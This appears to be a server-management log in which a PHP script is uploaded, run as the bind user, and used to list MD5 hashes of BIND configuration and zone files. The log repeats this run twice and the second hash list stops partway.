MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 10:53:06: Establishing a connection
2026-04-22 10:53:06: 

PUT: /tmp/pkp952240

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 10:53:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp952240; rm /tmp/pkp952240'

2026-04-22 10:53:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 10:53:16: Establishing a connection
2026-04-22 10:53:16: 

PUT: /tmp/pkp677682

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 10:53:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp677682; rm /tmp/pkp677682'

2026-04-22 10:53:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
